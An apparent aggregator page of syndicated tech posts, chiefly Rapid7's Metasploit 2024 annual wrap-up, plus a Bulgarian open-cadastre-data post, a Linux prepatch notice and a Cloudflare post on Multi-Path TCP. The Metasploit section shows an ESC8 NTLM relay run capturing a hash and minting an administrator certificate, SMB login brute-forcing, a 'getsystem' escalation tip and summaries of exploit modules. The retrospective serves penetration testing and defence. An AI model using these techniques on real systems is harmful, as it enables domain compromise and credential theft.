Kernel prepatch 6.13-rc6

Post Syndicated from corbet original https://lwn.net/Articles/1004230/

Linus has released 6.13-rc6 for testing.

So we had a slight pickup in commits this last week, but as
expected and hoped for, things were still pretty quiet. About twice
as many commits as the holiday week, but that’s still not all that
many.

I expect things will start becoming more normal now that people are
back from the holidays and are starting to recover and wake up from
their food comas.

Beelink GTi12 Ultra Mini PC Review with GPU Dock Expansion

Post Syndicated from Patrick Kennedy original https://www.servethehome.com/beelink-gti12-ultra-mini-pc-review-intel-amd-nvidia-gpu-dock-expansion/

In our Beelink GTi12 Ultra review, we see how this system with lots of expandability and even an option for an external GPU dock performs

The post Beelink GTi12 Ultra Mini PC Review with GPU Dock Expansion appeared first on ServeTheHome.

Кадастърът пусна отворени данни за всичко в България и са невероятни

Post Syndicated from Боян Юруков original https://yurukov.net/blog/2025/kais-opendata/

В края на миналата година писах накратко в социалките, че новият портал на кадастъра е публичен и на пръв поглед има доста полезна употреба – да се следи за незаконно дострояване. В действителност, с тази нова версия се случи нещо, за което натискахме и чакахме от много години – отворени данни за имотите в България.

Информацията, която търсихме са точните очертания на области, общини, землища и отделни парцели. Тази информация има много приложения отвъд работата с недвижими имоти. Преди 11 години, например, бях свалил парче по парче голяма част от тези данни и бях ги обобщил в опростена версия на картата на общините и селищата в България. Пуснах ги свободно с цел визуализации на данни и сам ги използвах в графиките си за данните за сеч, избори и редица други. Аналогично, за картата ми с документите за градоустройството в София през последните четири години съм свалил близо 25% от всички парцели в столицата. Подобно е положението и с 3D картата за застрояването. Данните влизаха в употреба в поне 10 от проектите и визуализациите ми до сега.

с. Априлци в Пазарджик

Затова с радост открих, че в новият портал на кадастъра има секция отворени данни, където може да се свали архивирана цялата спомената информация – отделни парцели, сгради и самостоятелни обекти в SHP формат. Вече свалих данните за община София и няма да се налага да товаря сървърите на НАГ и кадастъра всеки път като излезе нов документ. Данните съдържат много метаданни като площ, брой етажи, точен адрес, собственост, район, начин на употреба и документ определят последното. Дори само информацията за адресите е безценна, тъй като до сега нямаше такава публична база данни в България. Има дори адресите на самостоятелни обекти – гаражи, апартаменти и други части от сгради, включително къде се намират точно и колко е (законната) им площ.

Метаданни за случайна сграда в София

Това обаче далеч не е всичко. Публикувана е информация за собствеността на тези имоти – дали цялостно или частично, физическо, юридическо лице, община или държава и с какви документи и кога е установена тази собственост. Има дори ЕИК и имена на фирмите, а когато е частно лице, името е маскирано, а ЕГН-то е криптирано, така че да не се разбере, но да е пак уникално и да може да се съпостави с други записи. Това е безценна база данни с публична вече информация, която без да преувеличавам ще отвори нова страница в разследванията на злоупотреби на части и публични лица.

Пример за собствеността на парцели в с. Априлци, Пазарджик

Данните в този си вид са генерирани на 14-ти декември. Надявам се да имат възможност да ги обновяват редовно, особено собствеността. Все още липсва известна информация – за 6 общини липсват данни, включително община Варна. От тях, както и сред други общини липсва информация за около 380 селища или 7.2%. Изпратих и друга обратна връзка към създателите на портала и разбирам, че се работи по попълването на цялата информация. Две основни точки бяха двуезична документация и номенклатури, както и начин да се сваля всичко наведнъж.

Дори към този момент обаче е нещо внушително. Бих го сравнил само с публикуването на отворени данни от търговския регистър с тази разлика, че са много по-ясни, подредени и готови за употреба. Показах данните на няколко познати експерти работещи с GIS системи и събиращи информация от подобни регистри от цял свят. Един особено ми пише през няколко месеца да пита дали поне очертанията на парцелите в градовете имаме. Всички бяха удивени от качеството и пълнотата на информацията и метаданните, включително в сравнение с аналогични източници в Германия, Великобритания и щатите.

Центъра на София в сгради и парцели

Успях да сваля всички данни автоматично и вече ги преглеждам подробно. Особено тази за собствеността. Все още нямам идея какво от тези данни и как ще го покажа, но определено има доста какво да се направи с нея. Знам обаче, че ще използвам парцелите във визуализацията си за данните за сечта, които отворих наскоро. Особено за стартиращи бизнеси това ще е много полезно отвъд чистите GIS системи, недвижими имоти и планиране. Ако имате идеи как бихте използвали данните или вече сте направили нещо с тях, споделете го в коментарите.

The post Кадастърът пусна отворени данни за всичко в България и са невероятни first appeared on Блогът на Юруков.

Metasploit 2024 Annual Wrap-Up

Post Syndicated from Spencer McIntyre original https://blog.rapid7.com/2025/01/03/metasploit-2024-annual-wrap-up/

Metasploit 2024 Annual Wrap-Up

Another year has come and gone, and the Metasploit team has taken some time to review the year’s notable additions. This year saw some great new features added, Metasploit 6.4 released and a slew of new modules. We’re grateful to the community members new and old that have submitted modules and issues this year. The real privilege escalation was the privilege of working with the contributors and friends we made along the way. And so, as is tradition, let us begin the 2024 annual recap.

HTTP Relaying and ESC8

Metasploit continues to expand support for Active Directory Certificate Services AD CS attacks, also known as ESC attacks. These attacks have been popular since they were announced three years ago, and the complexity and ubiquity of enterprise AD CS setups has rendered them “gifts that keep on giving” for attackers and pen testers alike. This year, we added support for ESC8, a vulnerability in AD CS Web Enrollment service, in which authentication from a user’s SMB connection can be relayed to a Certificate Web Enrollment endpoint and used to generate a valid certificate for authentication. This means that if an attacker can coerce a user to attempt to access an SMB share, their authentication can be relayed to a certificate server for authentication. Once authenticated, the session will allow the attacker to mint certificates for any template they have permissions to access. Unlike many AD CS attacks, this is not necessarily due to a misconfiguration in a template, but is an effect of the Web Enrollment service’s use of NTLM over HTTP, which does not enable relaying protections by default.

msf6 auxiliary(server/relay/esc8) > show options

Module options (auxiliary/server/relay/esc8):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   CAINPWFILE                      no        Name of file to store Cain&Abel hashes in. Only supports NTLMv1 hashes. Can be a path.
   JOHNPWFILE                      no        Name of file to store JohnTheRipper hashes in. Supports NTLMv1 and NTLMv2 hashes, each
                                              of which is stored in separate files. Can also be a path.
   MODE           AUTO             yes       The issue mode. (Accepted: ALL, AUTO, QUERY_ONLY, SPECIFIC_TEMPLATE)
   Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RELAY_TARGETS                   yes       Target address range or CIDR identifier to relay to
   RELAY_TIMEOUT  25               yes       Seconds that the relay socket will wait for a response after the client has initiated
                                             communication.
   RPORT          80               yes       The target port (TCP)
   SMBDomain      WORKGROUP        yes       The domain name used during SMB exchange.
   SRVHOST        0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local
                                              machine or 0.0.0.0 to listen on all addresses.
   SRVPORT        445              yes       The local port to listen on.
   SRV_TIMEOUT    25               yes       Seconds that the server socket will wait for a response after the client has initiated
                                              communication.
   SSL            false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI      /certsrv/        yes       The URI for the cert server.
   VHOST                           no        HTTP server virtual host


   When MODE is SPECIFIC_TEMPLATE:

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   CERT_TEMPLATE                   no        The template to issue if MODE is SPECIFIC_TEMPLATE.


Auxiliary action:

   Name   Description
   ----   -----------
   Relay  Run SMB ESC8 relay server



View the full module info with the info, or info -d command.

msf6 auxiliary(server/relay/esc8) > set RELAY_TARGETS 10.5.132.182
RELAY_TARGETS => 10.5.132.182
msf6 auxiliary(server/relay/esc8) > run
[*] Auxiliary module running as background job 0.
msf6 auxiliary(server/relay/esc8) > 
[*] SMB Server is running. Listening on 0.0.0.0:445
[*] Server started.
[*] New request from 10.5.132.191
[*] Received request for EXAMPLE\Administrator
[*] Relaying to next target http://10.5.132.182:80/certsrv/
[+] Identity: EXAMPLE\Administrator - Successfully authenticated against relay target http://10.5.132.182:80/certsrv/
[SMB] NTLMv2-SSP Client     : 10.5.132.182
[SMB] NTLMv2-SSP Username   : EXAMPLE\Administrator
[SMB] NTLMv2-SSP Hash       : Administrator::EXAMPLE:9a0ad3b11b1b3471:b97c9d53262316974c31219cd6dd2f00:01010000000000009e0f749d1b53db013d142354bb7d5da90000000002000e004500580041004d0050004c00450001001e00570049004e002d00440052004300390048004300440049004d0041005400040016006500780061006d0070006c0065002e0063006f006d0003003600570049004e002d00440052004300390048004300440049004d00410054002e006500780061006d0070006c0065002e0063006f006d00050016006500780061006d0070006c0065002e0063006f006d00070008009e0f749d1b53db01060004000200000008003000300000000000000001000000002000007eb46f894f1cad59192724ba6164849c3e04a00c54dae36b065603553ff355c40a001000000000000000000000000000000000000900220063006900660073002f00310030002e0035002e003100330035002e003200300031000000000000000000

[+] Certificate generated using template User and EXAMPLE\Administrator
[+] Certificate for EXAMPLE\Administrator using template User saved to /home/tmoose/.msf4/loot/20241220141352_default_10.5.132.182_windows.ad.cs_360378.pfx
[*] Received request for EXAMPLE\Administrator
[*] Identity: EXAMPLE\Administrator - All targets relayed to

Meterpreter’s PoolParty

In November 2024, the Metasploit Framework improved the Windows Meterpreter capabilities by including the PoolParty Injection technique to perform code injection into remote processes. The new technique functions as a replacement to the common kernel32!CreateRemoteThread technique. This increased the stealth skills of the Meterpreter agent without removing any functionality already present. Significant effort was made to implement the cleanest injection technique in a transparent manner to the user and avoid leaving any footprint in memory after a successful injection. Currently the PoolParty injection is based on the TP_DIRECT_INSERTION variant and supports code injection on 64-bit Windows 10 and newer systems. Injection to and from WoW64 processes is partially implemented due to some security restrictions. Injection is currently limited to WoW64 to x64.

LDAP Improvements

Over the past couple of years Metasploit has improved its LDAP support substantially. There are troves of data points available in Active Directory via LDAP that aid in various attack workflows. Some examples include the domain SID, the number of computers a normal user can add, kerberoastable-accounts, vulnerable ESC templates and more. To aid users in accessing this information, Metasploit has continued to make LDAP improvements this year.

Metasploit 6.4 included multiple new protocol-based session types, one of which was LDAP. The ldap_login module can be used to open an interactive LDAP session, enabling the user to take multiple actions without needing to reconnect and reauthenticate to the target server. This feature is currently disabled by default, but can be enabled using set ldap_session_type true and then restarting Metasploit. Once established, these sessions can be used to run queries from the command line, or certain auxiliary modules, such as ldap_query and ldap_esc_vulnerable_cert_finder can use the session to gather information.

In addition to the new session type, Metasploit has added support for both channel binding and signing to enable users to operate in hardened environments. Now when Metasploit authenticates to an LDAP service, it’ll automatically use signing or channel binding as applicable based on the configuration. Signing can also be controlled using the LDAP::Signing datastore option which supports three values:

  • disabled – never use signing, useful for verifying a server is requiring signing
  • auto – signing will be used when it is necessary
  • required – signing will always be used

Channel binding is always used when SSL is in use. Metasploit supports channel binding for both NTLM and Kerberos authentication.

Metasploit 6.4 Released

This year Metasploit 6.4 released with multiple features; including the new dns command which grants the user a high degree of control over how DNS queries should be processed, and adds support for multiple new session types (PostgreSQL, MSSQL, MySQL and SMB) with the CreateSession option:

msf6 > use scanner/smb/smb_login
msf6 auxiliary(scanner/smb/smb_login) > run rhost=192.168.123.133 username=vagrant password=vagrant CreateSession=true

[*] 192.168.123.133:445   - 192.168.123.133:445 - Starting SMB login bruteforce
[+] 192.168.123.133:445   - 192.168.123.133:445 - Success: '.\vagrant:vagrant' Administrator
[*] SMB session 2 opened (192.168.123.1:52253 -> 192.168.123.133:445) at 2024-03-19 12:07:15 +0000

Each new session type supports different capabilities such as querying databases, using the SQL/SMB session with exploit modules to gain native sessions, and exploring and manipulating remote file systems:

msf6 auxiliary(scanner/smb/smb_login) > sessions -i -1
[*] Starting interaction with 1…
SMB (192.168.123.133) > ls
[-] No active share selected. Use the shares command to view available shares, and shares -i <id> to interact with one
SMB (192.168.123.133) > shares
Shares
======
    #  Name      Type          comment
    -  ----      ----          -------
    0  ADMIN$    DISK|SPECIAL  Remote Admin
    1  C$        DISK|SPECIAL  Default share
    2  foo       DISK
    3  IPC$      IPC|SPECIAL   Remote IPC
    4  NETLOGON  DISK          Logon server share
    5  SYSVOL    DISK          Logon server share

SMB (192.168.123.133) >

Metasploit 6.4 also continued to enhance support for Kerberos workflows:

Module Highlights

CVE-2023-22527
Metasploit had a great start to 2024 with the addition of a module for CVE-2023-22527 in January, which was an unauthenticated RCE in Atlassian Confluence. This module was written by Metasploit’s Spencer McIntyre aka zeroSteiner. Due to an SSTI flaw that allows an OGNL expression to be evaluated, Metasploit users can obtain OS command execution in the context of the service account. On Windows the service account is NT AUTHORITY\NETWORK SERVICE which, don’t forget, can easily be escalated to NT AUTHORITY\SYSTEM using the RPCSS namedpipe impersonation technique in Meterpreter, just type: “getsystem -t 4”!

CVE-2024-21893 + CVE-2024-21887
February kept the good times rolling with an exploit chain that works against both Ivanti Connect Secure and Ivanti Policy Secure from Rapid7’s research extraordinaire, Stephen Fewer. This module combined CVE-2024-21893, a SSRF vulnerability, with a command injection vulnerability tracked as CVE-2024-21887 in order to achieve unauthenticated remote code execution in the context of the root user.

Shadow Credentials
The Shadows Credential’s module was an incredible addition to Metasploit’s Active Directory exploit capabilities. Using an account that has write permissions over another user account object, the module adds a public key credential object to the user account’s msDS-KeyCredentialLink property, and then uses the existing PKINIT functionality in the get_ticket module to authenticate as that user. This module was written by Metasploit aficionado Ashley Donaldson aka smashery.

CVE-2024-3400
April saw some amazing additions to the Metasploit Framework including a very impactful exploit module for CVE-2024-3400. PAN-OS GlobalProtect Gateway and GlobalProtect Portal deployments with the default telemetry service enabled could be remotely exploited without authentication in order to gain code execution in the context of the root user. Rapid7’s very own Ryan Emmons PR’d this module and it was the only module this year to be awarded the “hotness” label in github, very cool.

CVE-2023-43177
This module, while being a great addition to the framework, also highlighted some great Rapid7 collaboration: the vulnerability was originally discovered by Rapid7’s Ryan Emmons and was written by the one and only Christophe De La Fuente. The exploit module leverages an Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability (CVE-2023-43177) to achieve unauthenticated remote code execution in the context of the Administrator user on Windows and the root user on Linux.

Progress Loadmaster sudo abuse privilege escalation
In May we saw the exploitation of Progress (Kemp) Loadmaster. The vulnerability lies in the configuration to allow sudo to auto elevate when run with certain files, but grants the non-root user bal write permissions to those files. The exploit module simply overwrites one of the files that auto-elevates with /bin/bash and runs a payload within a root-enabled /bin/bash session. This heavy hitting privilege escalation module was brought to us by Metasploit powerhouse, Brendan Watters on the 10th of May.

CVE-2024-29824
July brought some of the hottest weather to the northern hemisphere it also brought some of the hottest vulns to the Metasploit Framework with the addition of yet another fantastic exploit module from Christophe De La Feunte: The Ivanti Endpoint Manager (EPM) SQLi to RCE module. This exploit works by sending a soap envelope to the application targeting one poor unsanitized database parameter which pays the ultimate price of allowing the query to be escaped and EXEC xp_cmdshell to be run. The SQLi allows for RCE in the context of the NT Service\MSSQL$LDMSDATA user.

CVE-2024-6670
While Progress WhatsUp Gold made headlines with CVE-2024-6670, community contributor h4x-x0r made haste writing an exploit module adding yet another high impact exploit module in their rookie year of Metasploit framework contributions. The vulnerability allows an unauthenticated attacker to change the password of an existing user to an attacker-controlled value potentially giving up administrative control over the application.

CVE-2024-43917
Some kids got tricks on Halloween but Metasploit got a treat – an exploit module for a SQLi in TI WooCommerce Wishlist. Submitted by one of the hardest working Metasploit community members Valentin Lobstein aka Chocapikk, this was only one of 10 WordPress plugin modules they contributed this year. We decided to highlight this particular module because with it came an entire library of SQLi functionality specifically designed to help facilitate SQLi exploitation against WordPress plugins. We love seeing this type of reusability being added to the framework.

CVE-2024-35230
They say when it rains it pours and this is all too true when looking at the amount of vulnerabilities discovered in the Windows Kernel Streaming family of drivers this year. This module, written by Metasploit’s Jack Heysel, targeted an Access Mode Mismatch LPE in ks.sys. The vulnerable driver had hardcoded the RequestorMode parameter of a KTHREAD structure to KernelMode, which eventually allows for user supplied code to be executed with SYSTEM level privileges. This bug can be found lurking in the depths of Windows 2008 SP2 all the way up to present day Windows 11 and Server 2022.

CVE-2024-27596
It wouldn’t be a proper year without some fun WordPress vulnerabilities. The CVE-2024-27596 was quite memorable as the vulnerability was contained in a popular wp-automatic plugin. The best part was that an unauthenticated user was able to perform SQL injection and even get remote code execution by uploading a malicious module. As SQL injection allows an attacker to create an admin account, the WordPress site is fully compromised.

CVE-2023-0386
This vulnerability was discovered last year, however, it has been added into Metasploit as a module only recently. And it’s one of easy-to-exploit privilege escalations. The reason why it’s so interesting is that it combines the setuid and overlay file system to run binary as root.

CVE-2024-37081
The vulnerabilities in VMWare products are always of very high interest, as these vulnerabilities can be often misused by threat actors. The CVE-2024-37081 is local privilege escalation in vCenter 8.0.0.10200 caused by misconfiguration. This misconfiguration allows the attacker to run sudo commands with preserved environmental variables such as PYTHONPATH,VMWARE_PYTHON_PATH and so.

CVE-2023-7028
When it comes to version control systems, accounts are the identity of the developer. Compromising the identity exposes the whole codebase to risk. This year, we implemented a module for CVE-2023-7028, Github account takeover. This vulnerability can be exploited without any user interaction. If the attacker provides two emails in the request for password reset – administrator’s email and attacker’s email – the reset code for the admin account gets sent back to both emails.

Remote Code Execution in CUPS
https://github.com/rapid7/metasploit-framework/pull/19630
https://github.com/rapid7/metasploit-framework/pull/19510

The CUPS vulnerability made big headlines this year. The reason is that CUPS exposed a UDP service, which was listening for any host to connect. Of course, CUPS service was vulnerable itself, allowing the attacker to execute remote code via specially crafted print jobs. The vulnerability allowed remote code execution on virtually any Linux machine that runs a vulnerable version of CUPS. We have implemented a module (cups_browsed_info_disclosure) for scanning for vulnerable CUPS services and also a module for exploitation (cups_ipp_remote_code_execution).

Community Stats Recap

The entire Metasploit team would like to give a big thank you to all the contributors who added content in 2024. Your ideas and contributions make this tool greater every year. We saw code additions from 62 contributors, including 39 first-time contributors.

Here are some stats for 2024:

  • Number of new modules: 165
  • Number of new bug fixes: 142
  • Number of new enhancements: 161
  • Number of new documentations: 19
  • Number of new payload enhancements: 4

Contributors in 2024 (ordered by count)

  • h00die
  • Chocapikk
  • jvoisin
  • smashery
  • h00die-gr3y
  • h4x-x0r (new in 2024)
  • nrathaus
  • bcoles
  • errorxyz
  • upsidedwn (new in 2024)
  • The-Pink-Panther (new in 2024)
  • Takahiro-Yoko (new in 2024)
  • DaveYesland (new in 2024)
  • NtAlexio2 (new in 2024)
  • heyder
  • KanchiMoe (new in 2024)
  • ide0x90
  • ostrichgolf (new in 2024)
  • jmartin-tech
  • jalvarezz13 (new in 2024)
  • ArchiMoebius (new in 2024)
  • molecula2788 (new in 2024)
  • jjoshm (new in 2024)
  • dotslashsuperstar (new in 2024)
  • double16 (new in 2024)
  • jlownie (new in 2024)
  • randomstr1ng (new in 2024)
  • SickMcNugget (new in 2024)
  • n00bhaxor
  • lihe07 (new in 2024)
  • 6a6f656c
  • AleksaZatezalo
  • poupapaa (new in 2024)
  • Sh3llSp4wn (new in 2024)
  • ErikWynter
  • siddolo (new in 2024)
  • ggisz (new in 2024)
  • rad10
  • JustAnda7
  • pczinser (new in 2024)
  • james-otten
  • oddlittlebird (new in 2024)
  • szymonj99 (new in 2024)
  • aaryan-11-x (new in 2024)
  • soroshsabz (new in 2024)
  • dudu7615 (new in 2024)
  • Mathiou04 (new in 2024)
  • GhostlyBox (new in 2024)
  • Grezzo
  • xaitax
  • igomeow (new in 2024)
  • cn-kali-team
  • Adithya2357 (new in 2024)
  • gardnerapp
  • pmauduit (new in 2024)
  • aaronjfeingold (new in 2024)
  • e2002e
  • softScheck (new in 2024)
  • PizzaHat (new in 2024)
  • sud0Ru (new in 2024)
  • Fufu-btw (new in 2024)
  • fanqiaojun (new in 2024)

[$] Preventing data races with Pony

Post Syndicated from daroc original https://lwn.net/Articles/1001224/

The
Pony programming language is dedicated to
exploring how to make high-performance

actor-based systems. Started in 2014,
the language’s most notable feature is probably

reference capabilities, a system of pointer annotations that gives the developer
fine manual control over how data is shared between actors, while simultaneously
ensuring that Pony programs don’t have data races. The language is not likely to
overtake other more popular programming languages, but its ideas could be useful for
other languages or frameworks struggling with concurrent data access.

Multi-Path TCP: revolutionizing connectivity, one path at a time

Post Syndicated from Marek Majkowski original https://blog.cloudflare.com/multi-path-tcp-revolutionizing-connectivity-one-path-at-a-time/

The Internet is designed to provide multiple paths between two endpoints. Attempts to exploit multi-path opportunities are almost as old as the Internet, culminating in RFCs documenting some of the challenges. Still, today, virtually all end-to-end communication uses only one available path at a time. Why? It turns out that in multi-path setups, even the smallest differences between paths can harm the connection quality due to packet reordering and other issues. As a result, Internet devices usually use a single path and let the routers handle the path selection.

There is another way. Enter Multi-Path TCP (MPTCP), which exploits the presence of multiple interfaces on a device, such as a mobile phone that has both Wi-Fi and cellular antennas, to achieve multi-path connectivity.

MPTCP has had a long history — see the Wikipedia article and the spec (RFC 8684) for details. It’s a major extension to the TCP protocol, and historically most of the TCP changes failed to gain traction. However, MPTCP is supposed to be mostly an operating system feature, making it easy to enable. Applications should only need minor code changes to support it.

There is a caveat, however: MPTCP is still fairly immature, and while it can use multiple paths, giving it superpowers over regular TCP, it’s not always strictly better than it. Whether MPTCP should be used over TCP is really a case-by-case basis.

In this blog post we show how to set up MPTCP to find out.

Subflows


Internally, MPTCP extends TCP by introducing “subflows”. When everything is working, a single TCP connection can be backed by multiple MPTCP subflows, each using different paths. This is a big deal – a single TCP byte stream is now no longer identified by a single 5-tuple. On Linux you can see the subflows with ss -M, like:

marek$ ss -tMn dport = :443 | cat
tcp   ESTAB 0  	0 192.168.2.143%enx2800af081bee:57756 104.28.152.1:443
tcp   ESTAB 0  	0       192.168.1.149%wlp0s20f3:44719 104.28.152.1:443
mptcp ESTAB 0  	0                 192.168.2.143:57756 104.28.152.1:443

Here you can see a single MPTCP connection, composed of two underlying TCP flows.

MPTCP aspirations

Being able to separate the lifetime of a connection from the lifetime of a flow allows MPTCP to address two problems present in classical TCP: aggregation and mobility.

  • Aggregation: MPTCP can aggregate the bandwidth of many network interfaces. For example, in a data center scenario, it’s common to use interface bonding. A single flow can make use of just one physical interface. MPTCP, by being able to launch many subflows, can expose greater overall bandwidth. I’m personally not convinced if this is a real problem. As we’ll learn below, modern Linux has a BLESS-like MPTCP scheduler and macOS stack has the “aggregation” mode, so aggregation should work, but I’m not sure how practical it is. However, there are certainly projects that are trying to do link aggregation using MPTCP.

  • Mobility: On a customer device, a TCP stream is typically broken if the underlying network interface goes away. This is not an uncommon occurrence — consider a smartphone dropping from Wi-Fi to cellular. MPTCP can fix this — it can create and destroy many subflows over the lifetime of a single connection and survive multiple network changes.

Improving reliability for mobile clients is a big deal. While some software can use QUIC, which also works on Multipath Extensions, a large number of classical services still use TCP. A great example is SSH: it would be very nice if you could walk around with a laptop and keep an SSH session open and switch Wi-Fi networks seamlessly, without breaking the connection.

MPTCP work was initially driven by UCLouvain in Belgium. The first serious adoption was on the iPhone. Apparently, users have a tendency to use Siri while they are walking out of their home. It’s very common to lose Wi-Fi connectivity while they are doing this. (source) 

Implementations

Currently, there are only two major MPTCP implementations — Linux kernel support from v5.6, but realistically you need at least kernel v6.1 (MPTCP is not supported on Android yet) and iOS from version 7 / Mac OS X from 10.10.

Typically, Linux is used on the server side, and iOS/macOS as the client. It’s possible to get Linux to work as a client-side, but it’s not straightforward, as we’ll learn soon. Beware — there is plenty of outdated Linux MPTCP documentation. The code has had a bumpy history and at least two different APIs were proposed. See the Linux kernel source for the mainline API and the mptcp.dev website.

Linux as a server

Conceptually, the MPTCP design is pretty sensible. After the initial TCP handshake, each peer may announce additional addresses (and ports) on which it can be reached. There are two ways of doing this. First, in the handshake TCP packet each peer specifies the “Do not attempt to establish new subflows to this address and port” bit, also known as bit [C], in the MPTCP TCP extensions header.


Wireshark dissecting MPTCP flags from a SYN packet. Tcpdump does not report this flag yet.

With this bit cleared, the other peer is free to assume the two-tuple is fine to be reconnected to. Typically, the server allows the client to reuse the server IP/port address. Usually, the client is not listening and disallows the server to connect back to it. There are caveats though. For example, in the context of Cloudflare, where our servers are using Anycast addressing, reconnecting to the server IP/port won’t work. Going twice to the IP/port pair is unlikely to reach the same server. For us it makes sense to set this flag, disallowing clients from reconnecting to our server addresses. This can be done on Linux with:

# Linux server sysctl - useful for ECMP or Anycast servers
$ sysctl -w net.mptcp.allow_join_initial_addr_port=0

There is also a second way to advertise a listening IP/port. During the lifetime of a connection, a peer can send an ADD-ADDR MPTCP signal which advertises a listening IP/port. This can be managed on Linux by ip mptcp endpoint ... signal, like:

# Linux server - extra listening address
$ ip mptcp endpoint add 192.51.100.1 dev eth0 port 4321 signal

With such a config, a Linux peer (typically server) will report the additional IP/port with ADD-ADDR MPTCP signal in an ACK packet, like this:

host > host: Flags [.], ack 1, win 8, options [mptcp 30 add-addr v1 id 1 192.51.100.1:4321 hmac 0x...,nop,nop], length 0

It’s important to realize that either peer can send ADD-ADDR messages. Unusual as it might sound, it’s totally fine for the client to advertise extra listening addresses. The most common scenario though, consists of either nobody, or just a server, sending ADD-ADDR.

Technically, to launch an MPTCP socket on Linux, you just need to replace IPPROTO_TCP with IPPROTO_MPTCP in the application code:

IPPROTO_MPTCP = 262
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_MPTCP)

In practice, though, this introduces some changes to the sockets API. Currently not all setsockopt’s work yet — like TCP_USER_TIMEOUT. Additionally, at this stage, MPTCP is incompatible with kTLS.

Path manager / scheduler

Once the peers have exchanged the address information, MPTCP is ready to kick in and perform the magic. There are two independent pieces of logic that MPTCP handles. First, given the address information, MPTCP must figure out if it should establish additional subflows. The component that decides on this is called “Path Manager”. Then, another component called “scheduler” is responsible for choosing a specific subflow to transmit the data over.

Both peers have a path manager, but typically only the client uses it. A path manager has a hard task to launch enough subflows to get the benefits, but not too many subflows which could waste resources. This is where the MPTCP stacks get complicated. 

Linux as client

On Linux, path manager is an operating system feature, not an application feature. The in-kernel path manager requires some configuration — it must know which IP addresses and interfaces are okay to start new subflows. This is configured with ip mptcp endpoint ... subflow, like:

$ ip mptcp endpoint add dev wlp1s0 192.0.2.3 subflow  # Linux client

This informs the path manager that we (typically a client) own a 192.0.2.3 IP address on interface wlp1s0, and that it’s fine to use it as source of a new subflow. There are two additional flags that can be passed here: “backup” and “fullmesh”. Maintaining these ip mptcp endpoints on a client is annoying. They need to be added and removed every time networks change. Fortunately, NetworkManager from 1.40 supports managing these by default. If you want to customize the “backup” or “fullmesh” flags, you can do this here (see the documentation):

ubuntu$ cat /etc/NetworkManager/conf.d/95-mptcp.conf
# set "subflow" on all managed "ip mptcp endpoints". 0x22 is the default.
[connection]
connection.mptcp-flags=0x22

Path manager also takes a “limit” setting, to set a cap of additional subflows per MPTCP connection, and limit the received ADD-ADDR messages, like: 

$ ip mptcp limits set subflow 4 add_addr_accepted 2  # Linux client

I experimented with the “mobility” use case on my Ubuntu 22 Linux laptop. I repeatedly enabled and disabled Wi-Fi and Ethernet. On new kernels (v6.12), it works, and I was able to hold a reliable MPTCP connection over many interface changes. I was less lucky with the Ubuntu v6.8 kernel. Unfortunately, the default path manager on Linux client only works when the flag “Do not attempt to establish new subflows to this address and port” is cleared on the server. Server-announced ADD-ADDR don’t result in new subflows created, unless ip mptcp endpoint has a fullmesh flag.

It feels like the underlying MPTCP transport code works, but the path manager requires a bit more intelligence. With a new kernel, it’s possible to get the “interactive” case working out of the box, but not for the ADD-ADDR case. 

Custom path manager

Linux allows for two implementations of a path manager component. It can either use built-in kernel implementation (default), or userspace netlink daemon.

$ sysctl -w net.mptcp.pm_type=1 # use userspace path manager

However, from what I found there is no serious implementation of configurable userspace path manager. The existing implementations don’t do much, and the API seems immature yet.

Scheduler and BPF extensions

Thus far we’ve covered Path Manager, but what about the scheduler that chooses which link to actually use? It seems that on Linux there is only one built-in “default” scheduler, and it can do basic failover on packet loss. The developers want to write MPTCP schedulers in BPF, and this work is in-progress.

macOS

As opposed to Linux, macOS and iOS expose a raw MPTCP API. On those operating systems, path manager is not handled by the kernel, but instead can be an application responsibility. The exposed low-level API is based on connectx(). For example, here’s an example of obscure code that establishes one connection with two subflows:

int sock = socket(AF_MULTIPATH, SOCK_STREAM, 0);
connectx(sock, ..., &cid1);
connectx(sock, ..., &cid2);

This powerful API is hard to use though, as it would require every application to listen for network changes. Fortunately, macOS and iOS also expose higher-level APIs. One example is nw_connection in C, which uses nw_parameters_set_multipath_service.

Another, more common example is using Network.framework, and would look like this:

let parameters = NWParameters.tcp
parameters.multipathServiceType = .interactive
let connection = NWConnection(host: host, port: port, using: parameters)

The API supports three MPTCP service type modes:

  • Handover Mode: Tries to minimize cellular. Uses only Wi-Fi. Uses cellular only when Wi-Fi Assist is enabled and makes such a decision.

  • Interactive Mode: Used for Siri. Reduces latency. Only for low-bandwidth flows.

  • Aggregation Mode: Enables resource pooling but it’s only available for developer accounts and not deployable.


The MPTCP API is nicely integrated with the iPhone “Wi-Fi Assist” feature. While the official documentation is lacking, it’s possible to find sources explaining how it actually works. I was able to successfully test both the cleared “Do not attempt to establish new subflows” bit and ADD-ADDR scenarios. Hurray!

IPv6 caveat

Sadly, MPTCP IPv6 has a caveat. Since IPv6 addresses are long, and MPTCP uses the space-constrained TCP Extensions field, there is not enough room for ADD-ADDR messages if TCP timestamps are enabled. If you want to use MPTCP and IPv6, it’s something to consider.

Summary

I find MPTCP very exciting, being one of a few deployable serious TCP extensions. However, current implementations are limited. My experimentation showed that the only practical scenario where currently MPTCP might be useful is:

  • Linux as a server

  • macOS/iOS as a client

  • “interactive” use case

With a bit of effort, Linux can be made to work as a client.

Don’t get me wrong, Linux developers did tremendous work to get where we are, but, in my opinion for any serious out-of-the-box use case, we’re not there yet. I’m optimistic that Linux can develop a good MPTCP client story relatively soon, and the possibility of implementing the Path manager and Scheduler in BPF is really enticing. 

Time will tell if MPTCP succeeds — it’s been 15 years in the making. In the meantime, Multi-Path QUIC is under active development, but it’s even further from being usable at this stage.

We’re not quite sure if it makes sense for Cloudflare to support MPTCP. Reach out if you have a use case in mind!

Shoutout to Matthieu Baerts for tremendous help with this blog post.

The collective thoughts of the interwebz